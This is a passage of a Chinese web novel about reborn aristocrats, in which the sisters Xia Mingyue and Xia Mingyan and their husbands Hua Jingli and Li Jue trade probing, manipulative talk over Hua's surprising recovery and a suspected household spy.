夏明月在这一刹那忽然开始质疑自己,当初是不是也是这种情况,让活在她记忆里的李玦完美了起来,反而是现实中触手可及而她抵死不愿靠近的华靖离在这种对比下变得尤为不堪。 倒不是说夏明月要移情别恋了,她对华靖离和华家的恨无论如何都抹不去,她只是突然开始怀疑李玦……他好像也没有她想象的那么好。 第186章从未是兄弟 夏明月很不想承认这种想法,在她想像当中,她这时候应该看到一个虚弱而阴郁的华靖离,没想到他不仅看起来身子康健了起来,整个人都意气风发的。 虽说应该是刚刚才好起来,还不能跟从前得胜凯旋、金街受赏的时候相比,可华靖离眼中上一世那种似乎永远不能消散的凝重,在这时候不仅淡得几不可见,还多了几分他这个身份、地位的人难有的耀眼和赤诚。 夏明月的目光在华靖离和李玦之间来徘徊,她的心还是在李玦身上的,华靖离身上那种隐藏得更加深了的威压感,依然让她害怕,可是她又忍不住去多看华靖离几眼。 她看的是华靖离的变化,她不由自主地会去想,这种变化会不会给他们带来什么影响。 不过她很快就否定了自己的怀疑,她这些日子查了些古时的典故,她这种情况,多数是以梦境的情况出现的。 从前也有几个人在梦境里过完了另一生,之后跟现实对比过,细节上有不少出入,但是无一例外的就是最终的结局与梦境中的差距不大。 现在有什么变数不是最重要的,重要的是最后的结局,上一世李玦最终占有了本该是华靖离的军功,华靖离是在南疆旧伤发作之后再次受伤而突然亡故的,要是这一世华靖离好好的,事情还能这么顺利吗? 还有李玦,他此刻站在华靖离身边,如果单独抛开那点儿气色上的差距不提,他就像是一个受了气的病弱书生,甚至往日的玉树临风看起来都没那么挺拔了。 这样的李玦,还是华靖离的对手吗? 不得不说在有些事儿上,夏明月对李玦的了解甚至超过了何夫人,就说上一世的最后,如果何夫人还活着的话,看到李玦夺了华靖离的军功,甚至想到了就是李玦害了华靖离,她也只会觉得李玦这么做是出于谋虑上的考虑,为了家族和他自己的前途,不得不这么做的。 可是夏明月却一直都清楚,华靖离曾经是真的把李玦当兄弟的,甚至比对自己同父异母的弟弟华靖和都亲近得多,可是李玦从一开始就没把华靖离当过兄弟。 最初在书院和武师父那儿相识的时候,李玦不过是想找一个跟自己一样受欺负的“同类”,这样他就觉得自己不是唯一一个被欺负的了。 华叶峰那时候刚刚举家迁入元京,刚刚承袭了钩翊侯的爵位,华家屯田守业的小儿子摇身一变变成统领千军万马的钩翊侯,所有人都等着看华家的笑话,看他们灰溜溜地滚出元京,滚回老家继续屯田去。 华靖离从小习武,又跟着父母在乡间摸爬滚打的,整个人都看起来黑黑瘦瘦的,整个人就像一块儿黑石头。 小孩子家家的哪里懂得什么是内敛、藏锋,只觉得他不起眼中有一些异样,李玦便把这样的华靖离误当作了是跟自己一样的人。 可是很快,李玦就发现他错了,华靖离很快就站稳了脚跟,别人欺负他,他就打回去,都是血气方刚的少年郎,打了几架之后,华靖离就跟那些人打成一片了。 那时候的李玦赫然发现华靖离不是他的同类,他很自卑,也气氛,觉得打架这种事有失斯文,凭什么华靖离使了这些鄙俗的手段,就赢得了那些人的尊重和友情? 李玦当时简直要憋屈死了,可是他没有办法跟华靖离决裂,他没有道理,他更加需要一个靠山,一个会时刻保护他的靠山,他这才继续以义弟的名义跟在华靖离身边。 而之后的十几年、几十年里,李玦对华靖离一直是这样的心态,一面再不忿为什么圣上这么赏识华靖离,那些人为什么都爱买华靖离的账,一面又不得不依靠着华靖离往上爬。 夏明月其实也觉得李玦挺扭曲的,可是别人如果知道了实情,会觉得这个人扭曲、卑鄙,她跟他们不同,她是由衷地同情、怜悯这个男人。 尤其是李玦越是这样,她就越觉得所有人都负了他,她就该跟他站在一起,体贴他,甚至动用她和她家族的一切却保护他。 就拿最近何雨萍的这件事来说,楚氏透露了端侯府和夏、楚两家的恩怨,虽然没有具体说什么事儿,但很显然他们这两家欠了端侯府的。 欠了端侯府和老端侯的,那就相当于欠了李玦的,她一定得对李玦更好才行。 夏明月看着李玦的眼神就变得有些诡异和警惕,她潜意识里特别担心华靖离这一世发现了李玦的心事,会不会把李玦怎么样? 李玦这弱小的样子,华靖离即便还没全好,也能把他拎起来揍一顿!这简直毫无难度,时时刻刻都能手拿把掐! 李玦见夏明月这样子,多少明白了一些她的想法,趁着华靖离和夏明嫣此刻都背对着他,他赶忙向夏明月使眼色,甚至还快速地指了下华靖离,打了个手势。 夏明月反应过来,李玦这是在说华靖离并没有表面上看起来这么好,其实还有很多问题,等回去了,他再跟她说。 夏明月磕磕巴巴地解释着:“姐夫,这不是……我们姐妹间开个玩笑,我就是把事情说得严重一些,考验一下长姐。毕竟当初换嫁是长辈的决定,事出突然,我也是担心长姐她会后悔。” “如今看来,长姐和姐夫伉俪情深,我放心了,相信家里的长辈也会放心的。不过……姐夫这身子,真的不像外面传的那样。” “还有……这……你的脸,不是受伤了吗?怎么连点印子都没有留下,外面这些乱传话的人真是该死,就是见不得你们好……” 夏明月前世见过华靖离脸上的伤和他戴着面具的样子,知道他那片去不掉还连年溃烂的伤疤在什么位置,她的目光便忍不住在那里停留。 可是看来看去,那里也只是比周围的皮肤要嫩一些,稍微有一点新长出皮肉的淡粉印记。 华靖离当然知道她在看什么,就那般大大方方地让她看:“不知姨妹是听谁说的我脸上有伤?我竟然不知,外面还有这样的传言。” 第187章到底谁告诉她的? 夏明嫣也装作不解的样子,为了避免夏明月会恶人先告状,把事情推到她头上,还拉她作证,她立刻就道: “侯爷,我也觉得奇怪,我记得头一次听说侯爷脸上有伤还会留下可怖的疤痕这种话,还是在二妹妹这儿。说起来那还是在换嫁的时候,圣旨到夏府之前不久。” “确切的说二妹妹刚说完这话还不到一个时辰,圣旨就到了。当日父亲从外面回来,也听了一耳朵,不过父亲没放在心上,还劝我说这朝中很多将领身上都有伤。” “他们为了大恒牺牲良多,作为他们的内眷,应该去体谅,不该嫌弃。不过即便父亲不这么说,我也是这么以为的,不知道二妹妹为什么会以为侯爷的容貌有没有损害对我有多重要。” 要说一个刚及笄的少女一点都不介意自己夫君的容貌,那不太可能,除非她一点儿都不在意这段婚姻的感情部分,而是另有所图。 可是漂亮话谁不会说,此情此景谁又不会去说漂亮话,谁也不能指责她大言不惭。 夏明月想瞪夏明嫣,又碍于华靖离而不敢表现出来,只能解释道:“我只是说‘万一’,这不就要把情况想得坏一些么?” “姐夫如今好好的,要不就是伤得没那么重,要么就是寻访到了名医了,这是好事儿。长姐,你说呢?你们该不会这么计较吧?我就是有点听风就是雨的,以后一定不会了。” “哦?恐怕不是空穴来风吧,姨妹刚刚一直在看我的左脸,没错,我之前脸上是有伤,就在这里,只是神医妙手,治好了而已。” “姨妹消息如此灵通,不像是无的放矢,可否告诉我究竟是谁跟你这么说的?姨妹别误会,我并非要责怪你打听我和我们钩翊侯府的私隐之事。” “只是这消息如此确切,应是我身边的人透露的。想是我养伤的这些日子疏忽了,以至于身边的篱笆都倒了……还请姨妹提醒一下,我好把这倒了的篱笆拔了。” 华靖离煞有介事地说着,大有夏明月今日不说出个所以然来绝不罢休的样子。 其实这时候只要李玦出面打个圆场,咬死了说是外面有这样的传言,事情也就过去了。 毕竟华靖离重伤之下被送回元京的时候城门口曾一度乱成一团,说不定那时候有人就是看见了什么也未可知。 再或是华靖离之后派人打听了外面没有这样的传言也没什么,他们又不可能问遍所有人,就是有人说了,他们没找到而已。 可是李玦偏偏就是不说话、不打这圆场,因为他最近也觉得奇怪,最近夏明月说了很多“将来一定会怎样”的话,他也想知道夏明月究竟是怎么知道的。 他是夏明月的枕边人,夏明月跟他说得更多,很多事儿还没办法验证真假,可是有些眼前的小事儿,他验证过了,的确是真的。 就比方说夏明月居然知道何雨萍的压箱银子有多少,不是面上说的数儿,而是真实的数字! 偏偏李玦观察了一阵子,硬是没发现夏明月的消息渠道究竟在哪里,反正绝对不是夏、楚两家人那里。 夏明月看了看李玦,尴尬得脸上都快挂不住了:“就是听城门口的人说的,夏家在城门口有两间铺子,有人在那边说话,就听到了……我这个人有口无心的,真就是想试试长姐。” “长姐,你该不会要跟我计较这些吧?不过是几句话而已,你现在过得好,元京高门的这些夫人、闺秀可都羡慕你呢,没必要跟我计较这些。” 夏明月一个劲儿地给夏明嫣使眼色,想让她把这个话接过去,要是不接,就别怪她回去告状! 之前华靖离没好,夏庸还消停些,现在华靖离好了,只要她回去挑唆,夏庸还不得让夏明月劝华靖离交权?到时候她夏明嫣也别想消停。 夏明嫣不按常理出牌,越是那些暗中不会明说的事儿,越是那些夏明月认为能暗中拿捏她的的事儿,她越是摊到明面上说: “二妹妹,你每回一说‘万一’我就害怕,因为你一这么说,肯定就是想让我答应一些事儿。之前那么说,是两家换了亲,你担心我会反悔,不肯接旨。” “这次这么说,是想让我觉得我将来的日子很难过,少不得要你跟妹夫帮衬,想让我眼下答应你另一桩事儿。” 她简略地解释了一下夏明月让她介绍北边儿关系的事,“二妹妹,我都跟你解释过了,我真不认识那些人。你要是不信,我也没法子。” “不过我刚刚又想了想,二妹妹这么执着地问我,也许并不是想让我说出有没有这样的人脉。你是不好直接来问你姐夫,就想通过我来问。” “那你可就想多了,我是惯不会管男人外面的事儿的。就是云翠居那边,接触的也多是退军的家眷而已,哪能认识那些人?” “二妹妹,今日妹夫也在,我就多说两句。你为妹夫着想,是应该的,可是妹夫跟侯爷是义兄弟,打断了骨头也还连着筋呢,他们有什么事儿,就让他们自己说吧。” “你我在中间传话,万一传错了呢?让他们自己说,咱们就好好地帮他们掌管好内宅的这些琐事就好,你们说是不是?” 夏明月就像做了小人一样,就这么被当面拆穿,这还让她彻底相信了夏明嫣真的什么都不知道。 夏明嫣不仅没有重生,这一世因为人生轨迹的改变,她是不可能知道什么对李玦有利的人脉关系了。 李玦这时候才出来打圆场:“明月,是你多虑了,刚才华兄已经答应我让我之后跟华二公子一起去北疆了,还让我联系一些故旧。” “就像姨姐说的,这种事就交给我们男人来做,不要坏了你们姐妹之间的交情。姨姐是个厚道人,不仅治家有方,对外也能和睦邻里和那些个内宅的夫人。” “这方面你该多跟她取取经,以后端侯府的内宅还要靠你。还有,姨姐,还请你多教教明月,她年轻不懂事,冒犯之处还请你多包容。” 第188章怎么好的这么快? 李玦终于开口了,姿态依旧是那般温和有礼,她这番话说得恭维了夏明嫣,把过错推到了夏明月的无知上,重述了他跟华靖离的交情,可谓是面面俱到。 夏明嫣在心里冷笑,这才是一个最凉薄的人,其实刚进来的时候,只要他立刻接话,不让夏明月再继续下去,就可以把事态控制在最小的范围内。 夏明月是个什么货色,华靖离就算没重生又哪里会不清楚,他不会在意夏明月是怎么想的,他要的分明是李玦的态度。 可是李玦呢,偏偏留了机会让夏明月继续说下去,他这么做不是在给夏明月解释的机会,而是想从华靖离和她的应对重得到更多的消息。 华靖离看向李玦,眼底已经冷了,他敛住了目光道:“再亲的人也有些话不能说,我夫人性子单纯,遇上一点儿事儿都要想半天。姨妹说了这些话,她又要胡思乱想了。” “姨妹,我从北疆一路到彭州再回元京,这一路上皆有随行之人护卫,一入元京便入了府在静心居养伤,这种间见过我的人屈指可数。” “你说的那些皆为不实之言,可因为你是我夫人的妹妹,这些话从你口中说出便会有人信以为真。你觉得你说的这些是真的,那一直在我府中的太医又算什么?难不成他们向圣上承报的都是假的?” “若是这些话传了出去,姨妹难道要去和太医对质不成?若是引起了华家军动荡,或是在朝野上惹出了什么麻烦,恐怕姨妹一个人是负不起责任的。” 区区一个夏明月能知道多少,细查下去,夏家和端侯府都脱不了干系,就连楚家也说不定要被牵连。 夏明月也知道这些,刚刚她是没想到华靖离能自己“走”过来,她还以为华靖离就算能出屋了,也得有人搀扶着,或是要拄拐、做轮椅,总之过来的时候会有不小的动静。 谁知道华靖离竟然能好了这么多,上一世这个时候他明明还只能坐着呢,怎么会…… 不管怎么说,华靖离开口了,夏明月就不得不认错,她尴尬而带了些不屑地道: “姐夫说的是,我回去就教训那些乱传话的人,让他们别信那些普风捉影的话。姐夫明明好好的,根本就没伤那么重对吗?” 夏明月有这种猜想很正常,像华靖离这样的人的伤情对外肯定是保密的,也许为了诱出一些跳梁小丑,故意装作伤得很重也是可以的。 可是夏明月这么说的时候语气很奇怪,像是特别不相信她自己说的,她的心里就应该是相信华靖离之前一定伤得很重。 这一点李玦先就看出来了,之前夏明月就这么说过,他当时就先质疑了,可是夏明月言之凿凿,让人不得不信她是不是在华家有眼线。 可是夏明月又一点都不肯透露这些,他便想了,也许就是夏明月不想夏明嫣过得太好,嘴硬才这么说的。 可是现在同时面对着华靖离和夏明嫣,夏明月竟然还不心虚,这就不大正常了,而就在刚刚华靖离亲口跟他承认,说自己伤得的确很重,只是表面上看起来好了而已。 这就说明夏明月是当真知道华靖离确切的伤情的,她果然在华家有眼线,回去之后他一定要逼问出来! 华靖离看着夏明月的目光也变了,上一世他从静心居出来的时候跟夏明月见了一面,夏明月眼里只有惊疑、嫌弃和厌恶,根本不像现在这副样子。 现在的夏明月尽管嘴上认了输,可是她的神情、语气都仿佛在说“你骗人,你就是伤得很重,一定是用了手段,才好起来的”,他还在她眼中看到了浓重的探究之色。 按理说人能好起来,原因无外乎就是郎中请得好、药用得好,就像李玦也是好奇的,可一听到请到了名医了,就没什么好怀疑的了。 可是夏明月不是,她明明知道夏明嫣跟杨家的关系,她自己又不通医术,对这些这么感兴趣干什么? 夏明嫣一看华靖离这表情就知道坏了,她这几天光顾着跟华靖离斗气了,忘了提醒华靖离了,她还没来得及说夏明月也重生了! 这时候也顾不上斗气了,夏明嫣轻拉了下华靖离的袖子,不动声色地提醒道: “侯爷说的是,妹夫和咱们都知道二妹妹有口无心,可是外面的人不会这么想。二妹妹自小由母亲亲自教养,见识、才学都是极好的,可不是那等无知妇孺。” “日后相处久了,侯爷就会知道了,比起二妹妹,我才是那个什么都不知道的。她呀,这么说还不是因为她对妹夫太上心了,担心换了亲,我心里有什么想法,才故意试我的。” “要是我说即便侯爷容貌受损、重伤在身,我也依旧跟侯爷不离不弃,她就放心了。” 这是把夏明月的目的解释到争风吃醋上了,这是怕夏明嫣后悔了,又回头拿换亲的事儿说道,甚至私下里去纠缠李玦,才这么说的。 “长姐,你胡说什么?我当然是信你的,你跟姐夫这不是挺好的么?以后外面那些人可再不能说抢了你的亲事,亏待了你了。” “要我说,这亲还换好了呢。姐夫能好得这么快,该不会是托了长姐外祖家的人寻到了名医吧?还是说长姐深藏不漏,其实习得了蛊医之术?” 夏明月心里就是那样想的,即便她嘴上说不是,大家也看得出她的确担心夏明嫣会反悔,也担心她跟李玦的婚事会被世人质疑。 她自以为这样回答便不会再被怀疑了,索性顺势试探华靖离能够好成这样的原因。 夏明嫣之前就跟华靖离商量好了,在请得圣旨为蛊医正名之前,她会医术这件事先不外露,她便顺口否认了: “妹妹这是在怀疑母亲给我派去的女师对我教养不利了,母亲常托带话,说是女子行医本就会被视为三姑六婆,不是大家闺秀所为,更何况是蛊医。” “从小我便知看过几本医书,别的再是不敢碰的。再说了,侯爷伤得那般重,不是上了年纪的名医,谁又能医治得了?” 第189章四人三重生 “也是不巧,我舅父去远游采药了,也找不到人。这不,只能找了别家的医者。” 夏明嫣含糊地说着,让夏明月回去之后自己猜吧,这中间这么多人、这么多事儿,谁知道变数会是哪一个。 “那就恭喜长姐和姐夫了。”夏明月和李玦都客套了几句,秋果就进来叫他们开宴了。 筵席上,四人相谈甚欢,尤其是李玦长袖善舞,简直把华靖离恭维到天上去了,夏明月则在一边用尽所有机会去观察华靖离。 而华靖离和夏明嫣的目光最后都落在了李玦身上,然后相视一笑,在场四个人,就只有李玦一个人不是重生的,偏偏他蹦得最高,真不知道他将来有没有机会知道真相呢…… 散席了之后夏明月立刻跟着李玦回府,二人根本等不到回到府中,在马车上就合计起来。 李玦便将华靖离跟他说的那些话捡要紧的说了:“……他只是看上去好了,实际上就是个空壳子。他没细说,但大体上应该是用了猛药把人的精神催起来了。” “到外面你可别说破了,咱们自己知道就行了。等擢选过了,他就送我和华靖和一起去北疆,还跟我说了一个人,让我私下去请那人,要是能请到,军功的事应该就更有把握了。” 按照医理来说,用药把人的精神催起来,在药效的持续期间内,人能看起来更精神。这种精神的程度,甚至比正常人更高。 但是这药不能常用,用一段时间就得加一次剂量,等到加无可加的时候,这个人就可能突然垮掉,甚至油尽灯枯。 “原来如此,我就说他明明伤得那么重,怎么可能好的这么快。” 夏明月听明白了之后心里就松了一下,但她很快就奔到另一个重点上了,“这件事……夏明嫣知道吗?” 李玦刚才还真没想过,他回忆了一下夏明嫣当时的反应才道:“应该不知道吧,华兄的伤势是机密,这种事儿连内眷都不能告诉。” “你还真别不信,要不然都在一个府里住着,他们那儿有没孩子吵着,怎么就非得去静心居一个人养着?就是不想让人知道。” “他们家老爷子当年病危的时候,连老太太和现在的老钩翊侯都瞒着,是到了最后回光返照了,才让他们见了。那时候我还小,跟着长辈来吊唁的时候知道的。” “你长姐才嫁过来,想必也是不能知道这些秘密的,华兄还特意告诉我不要告诉别人,只当作他已经全好了……” “你长姐也是个可怜人,被这般瞒着,万一哪天华兄的身子不行,对她来说就太突然了。你不能告诉她这些,可毕竟是姐妹,还是得多照顾她一些。” 听到李玦居然关心夏明嫣,夏明月一下子就不干了:“你怎么这么在乎夏明嫣?你还关心上她了,刚刚还说让我跟她学,有什么好学的?” “你可别被她唬住了,我母亲是派了四位女师去教她,可是除了书本上的东西还有那些老旧了的经验,她能学到什么?老宅那边是我们夏家的二房婶婶在管家,哪儿能由着一个亲戚家的闺阁女子插手掌家之事。” “她学了那么点儿皮毛就拿来用了,不过是她刚嫁进钩翊侯府,因着华侯的伤,她那婆母护着她,让她行事顺遂了些。日子久了……不,别管久不久的,现在华侯至少看起来好起来了。” “她那婆母还能护着她?你等着看吧,她管过的地方,包括那个云翠居,肯定到处都是窟窿,补都补不起来。到时候她婆母、华侯,还有那些跟她做生意的夫人、闺秀,都会看清她有几斤几两重,都不会再跟她来往了。” “她婆母一定不会饶过她,也正好给华侯纳几房妾室,繁衍子嗣。你是不知道这位老侯夫人有多看重子嗣,不管怎么说华侯都能走动了,她说什么都不会放过这种机会的。等到那时,我倒要看看她夏明嫣要怎么办。” 如果华靖离的身体状况连家人都要瞒着,说明整个钩翊侯府,恐怕也就是老侯爷华叶峰一个人知道,董氏也可能被蒙在鼓里。 董氏不知情的话,就会以为华靖离真的好了,那还能不赶紧抓紧机会给华靖离纳妾开枝散叶了? 从另一个角度说,董氏知情,或是她知道部分内情,可是哪个当娘的看到自己的儿子好端端地站在那儿能说能笑的,心里会有了希冀,觉得他是真的好了? 只要有了这份指望,董氏就不会放过机会。所以华靖离一定会跟前世一样,有好几个妾室,到时候她就等着看夏明嫣怎么哭了。 说难听点,前世在她改嫁跟李玦成亲之前,李玦一共只有一妻两妾,其中邓澜和何雨萍还都是李玦的表妹,这种姻亲上的亲上加亲,很多都是不得已的。 可是华靖离就不一样了,那会儿华靖离都避去别院养伤了,董氏还送了两个妾室和好几个通房过去服侍,那会儿华靖离可是一身的暗伤隐疾。 这回华靖离至少表面上看着好起来了,董氏还能没有动作?夏明嫣现在觉得华靖离好,等到屋里小娘一大堆的时候,她倒要看看夏明嫣还笑不笑得出来! 李玦被夏明月这通话说得愣住了,他有些惊讶地道:“我不是在乎她,我只是关心她一些,那也是因为她是你的嫡长姐和华兄的正妻。” “我要是一点都不关心她,传出去成什么了?我这爵位能不能承袭下来,不仅要靠岳父和舅兄们帮忙说话,也不止要看军功,也要看能不能齐家,能不能和睦亲戚。” “尤其圣上又看重华兄,我不关心姨姐几句,传出去我一定会落得一个凉薄的名声,万一影响了袭爵,你不就又得多等几年才能当上侯夫人了么?” 他顿了顿,问出了自己心里最大的疑问,“而且你为什么那么肯定董夫人会为华兄纳妾?就算董夫人不知情,以为华兄是真好了。” “可是自己儿子刚刚才伤愈,气色还没恢复,就忙着给他纳妾,这也不太合乎常理吧?明月啊,咱们都已经是夫妻了,你不能跟我交个底,钩翊侯府里是不是有你的眼线?” 第190章是不是有眼线 当然是没有的,夏明月本想直接回答,可是当她对上李玦期盼的目光,她又把话收了回去: “夫君,你跟华侯不是义兄弟吗?若是在他府中有眼线,被他知道了,一定会很不好吧?” 李玦深深地看了夏明月一眼,沉声道:“明月,你与你长姐虽非同母所出,可毕竟身上流着一半同样的血,你为何会与她不和?她也没有害过你,你为何要对她处处设防、处处针对?” 夏明月面上讪讪的,只是李玦不是外人,这件事早晚要让他知道,也就不用瞒着了: “她的确没做过什么,只是这不过是她还没来及做而已,毕竟不是一个娘生的,真能处到一块儿去?再说了,谁让她是原配嫡出呢,有她在一天,就显不出我的好。” “她从小但凡做对一点儿,就是族里的亲戚逢年过节的时候来元京随口说上几句,就有人拿我跟她比,什么都是她多不容易、多好,我有父母护持,又有楚相做外公,我好了也是应该的,凭什么?” “就连祖母、祖父也是偏心的,不光如此,外面那些人还说父亲待我好,那是因为母亲是楚家女,父亲是靠着母亲的裙带才当上这兵部尚书的,所以他才对我好。” “呵,裙带就裙带吧,这算什么了不得的大事儿么?这朝堂上,动用了关系和人脉的那么多,凭什么裙带关系就低人一等?用了也就用了,结果偏要说因为我外祖是楚相,帮了我父亲,我其实就没那么好了。” 这就好比勋贵家的子弟也有年少有为、品性端良的,可一旦跟寒门子弟比起来,就会有人说他们远没有寒门子弟好。 其实家世和出身的加持的确有,却没有那么高,可在很多世人眼里,那勋贵子弟的作为就全都变成了家世、背景所致。 夏明月一直觉得自己吃了这样亏,尤其是夏庸跟杨氏的感情也没有太好,就因为夏庸娶了她母亲楚氏,就显得杨氏和夏明嫣怎么样了似的,她能服气吗? 这还不算,还有上一世,她嫁给了华靖离,夏明嫣却嫁给了李玦,要是夏明嫣进了端侯府之后一直不受宠,也不上杆子的表现自己帮李玦做这做那的,那也就罢了。 偏偏夏明嫣什么都做得极好,一个妾室而已,外面的人把夏明嫣说得比她这个正经的侯夫人还好,这叫她如何能平了心里那口气。 她当然也知道夏明嫣那么做很多都是为了能在端侯府活下去,也知道有些事儿是夏庸甚至楚氏吩咐去做的,可那又如何? 夏明嫣难道不知道她出嫁了还是放不下跟李玦之间的感情吗?知道就不管往上凑,老老实实地老死在端侯府里才是她该有的命运的。 夏明月冷笑道,“要不是我外祖父和我母亲,我父亲一个户部侍郎,那时候发生那么多的事儿,他恐怕早就不得不辞官还乡了。在卢阳,就是连一个大一点的富绅都做不了,哪儿还能坐上兵部尚书的位子。” “要不是我母亲下嫁,她夏明嫣也不是什么尚书千金。凭什么占我便宜的时候理所当然,别人拿她跟我比的时候,她一点愧疚都没有。” “夫君,我知道你也算是曾经跟她有过婚约的,你不要看着她在钩翊侯府好像风生水起的,就以为要是娶了她回来,就能打理好内宅了。” “她可不像我这样心软,你别看我跟母亲、姑母、姨母吵过嘴,还有你的何表妹,我是个心软的,并没有把她们怎么样。” “可是夏明嫣不是这样的人,你等着看,将来她那婆母怕是在后宅都没有立锥之地了,还有那些个妾室,她能容得下她们才见鬼。” 上一世何夫人不就是郁郁而终的嘛,那时候夏明嫣又最得势,说跟她没关系,谁信? 还有何雨萍,夏明嫣跟何雨萍斗得最狠了,哪儿能像她这样,想着何家对端侯府还算有些用处,吃吃醋、闹一闹也就过去了……以后他就更能知道她的好了。 李玦对夏明月说的这套不以为然,倒不是说他能接受这种对比,他也不满别人拿他跟华靖离比,可那不一样。 男子之间的对比,事关朝堂仕途,比不比得赢,是有大的利益在的。 女子之间能有什么?即便是赢了,不过是多几件衣裳、首饰罢了,再或是到了去比朝廷封诰的地步,到最后也不过是落到名声和赏赐上。 男子在这种事儿上争一争也就罢了,女子有什么好争的?他会跟华靖离争,那是因为朝廷不会再允许增加新的军侯府府军了,要想重建李家军,华家军就必须散了。 这是一个二者存一的问题,是不得不面对的问题,而且他也没现在就跟华靖离撕破脸,还是表面恭敬的小心应对着,把能得的好处都得了再说,哪儿像夏明月,还没怎么着呢,就把人给得罪了。 李玦笑了笑,假装理解地道:“你受过这从小被比较的苦,也该理解一下我。没错,我们之间是有兄弟情义,可你要说我们就真如亲兄弟一般了,也绝不是如此。” “况且都是场面上的人,等我袭了爵还要入仕,我们之间少不得要有冲突。我打听你或是夏家在钩翊侯府里是不是有眼线,也不是为了什么。” “就是万一有什么机会的话,能跟我提前通个气。至少我们眼下还是兄弟,他能帮我的,也不好意思拒绝。我们现在这般处境,可不能浪费了这样的机会。” “你长姐那人刚刚你也见到了,要不然就是她当真对外面的事不感兴趣,不然就是口风太严,从她那儿也打探不出来,还有就是你跟她……” “我跟她怎么了?我已经听了母亲的话了,至少表面上对她和气许多了,你还要我怎样,难不成还要让我去求她不成?”夏明月不满起来。 李玦这时候心里已经开始烦躁了,却还不得不哄着她:“明月,我怎么舍得你受委屈呢?不过你还是要对你长姐客气些,咱们现在势弱,不好跟他们闹僵了。” “你要这样想,你现在为难她,她也不会怎样,你当时是高兴了,可是之后呢?万一她那儿有什么对咱们有利的机会,就因为你一时高兴,让这机会跑到别人那儿去了,你就不觉得可惜么?” 第191章上一世是谁告诉她的? 李玦担心夏明月想不明白,继续哄着劝道:“你要是真心想要压过她,就得比她的封诰高、财势足才行,逼得都是空话,女子斗一时之气就好比男子逞匹夫之勇。” “你想想,他们那儿要是有什么好机会,咱们抓住了,我袭了爵还升了品阶,你得了诰命,不比争这口气要风光吗?你可别忘了,圣上再看重他华靖离,成亲一个多月了,也没给他的夫人、你那长姐封个诰命。” “要我说圣上不是对你的长姐有什么微词,而是对他这个钩翊侯并不像表面那么满意。要是你当个诰命,又受了封赏,再把府里的庶务打理起来,你就比你长姐强了。” “庶务和生意这些你不用担心,你见识比你长姐高,只是从前心思不在这些事儿上,只要你用了心,一定比你长姐强。更何况何家的人你也可以用,到时候我去表妹说,给你一些人手,随你调用,那可比你长姐用那些不知根也不知底的退军家眷强吧?” “到时候你诰命加身,手上还有钱有势,不用你再说什么,自然就比你长姐强了。这就叫做事实胜于雄辩,你说是吗?” 是啊,圣上对华靖离诸多封赏,却没给夏明嫣一个诰命,前世也没封给她夏明月一个。 可见这得没得着诰命跟华靖离娶的这个人是谁没多大关系,圣上还是跟华家之间有疙瘩,倒是李玦前头袭爵不顺利,可后面还是被新帝封了端王了。 那天因为何雨萍进门的事,夏明月回夏家闹了一场,楚氏也着实劝了她好一顿。 其实大意跟李玦说的差不多,无外乎就是楚氏从前暗中打压夏明嫣是为了拿捏她为己所用,不是为了单纯地欺辱她只为了让自己顺口气的。 从小到大,算下来楚氏其实在夏明嫣身上下了不少血本,把夏明嫣教得会在内宅和场面上吃亏,却也不是什么都没教她,她会的那些是足以让她在这侯府里得到些东西的。 要是只为了争一口气,为了看夏明嫣一时的惨状,就错过了从她身上攫取这些好处的机会,那些投入不都白搭了吗? 只是这些话从李玦嘴里说出来听着更顺耳些,夏明月点了点头:“夫君说的是,那我以后就对她再客气些,看看能不能多打听些消息出来。” “夫君,我相信你,你将来一定会比华侯强,你不仅要做端侯,还要做端王呢。这回算他们识相,答应了带你去北疆历练,到时候夫君你是一定能立功受赏的。” “等到将来我也做了侯夫人,还得了诰命,甚至还做了王妃。我什么都不用说,也比她夏明嫣强,这才算是真正地赢了她。眼下我就先委屈一点,将来才能把她踩在脚下。” 又来了,怎么就这么确定他将来一定能成功,还能被封为异姓王? 李玦又一次觉得有这么一个女人对他太过用心,也不见得是什么好事:“明月,封王这种事你私下说说就罢了,到了外面可不能乱说,这可是大罪。” “话说远了,你跟你长姐都这样了,你了解的钩翊侯府的那些事儿,想必就不是你长姐说的了。明月,你实话实说,你或是你母亲是不是在那边安插了眼线?” “咱们已经是夫妻了,你也不必再瞒我。之前夏家是打算过把你嫁进华家的,当真一点准备都没有?” 既然是临时换婚,此前定是按照原有的婚约准备的,那时候夏明月是定给华靖离的,那么夏家在钩翊侯府里安插了眼线也不足为奇。 或是楚氏想要拿捏夏明嫣,在夏明嫣身边放了眼线,之后好经常通报钩翊侯府和夏明嫣的情况,这都是有可能的。 夏明月嘴角抽了抽:“那倒真没有,至少眼下没有,你又不是不知道,华侯一年也在府里过不了几日。华家的老侯爷、老夫人,在我母亲眼里又都是没什么心眼儿的人,她也就没有提前布置。” “要说以后……倒是有可能,如今夏明嫣越来越不好拿捏了,母亲的确说过想送个人过去。他们府上最近不是正要给华侯纳妾么?” “我母亲就想送个人过去,之后好让华侯收房。这个人或许可用,只是现在此人还未进府,帮不上夫君。” 李玦多少有些失望,这人能不能安插进去还不好说,要是做妾室的就更不好说了。 他了解的华靖离不是一个沉溺女色的人,现在伤才刚好些,正忙着如何调整北疆的布局,就算纳了妾室怕也只是摆着的。 更何况那些事儿要是华靖离连夏明嫣都不说,又怎么会跟那些妾室说……原来夏家真的没在钩翊侯府安插人,枉他费了这么多心思套话。 不过越是这样,他越要催促夏明月做些什么才行:“这不是你的错,夫人和舅父帮进入御青书院的擢选,我心里只有感激的份儿,我本就不该要求更多。” “只是这次的机会实在难得,偏偏他还安排了华靖和那小子同去。他们虽不是一母所生,可毕竟都姓华,华靖和又是没主意的,什么都听他的。” “他这样的人断然不愿放下自己手中的权柄,他想扶持华靖和,就是想扶起一个傀儡。我定是不可能像华靖和一样听他话的,他帮我也不会那么真心。” “好在他对我也还念着几分旧情,今日与我说了张老将军从前的事,我若是能得到他的帮助,之后去北疆定能更加顺遂。” “张老将军?张……对对对,是姓张的将军。” 夏明月眼睛都亮了,这几个字唤起了她前世的记忆,这就是夏明嫣当初找上的人,她终于想起来了。 没想到张老将军这一世居然是被华靖离牵引出来的,不,也不对…… 夏明嫣今天说的话也对,她一个深闺闺秀、内宅妇人,从来没有人教过她朝堂上的事,她前世是怎么知道张老将军这个人的? 张老将军一家那时候似乎已经要隐居了,还硬被她给说服了替李玦效力,可见夏明嫣是懂得投其所好的,不然人家也不会答应。 可是夏明嫣从哪儿知道张老将军家需要什么呢?是谁告诉她的……该不会上一世也是华靖离说的吧? 第192章出事她担着 夏明月瞬间想到了很多,难不成上一世夏明嫣就和华靖离有瓜葛? 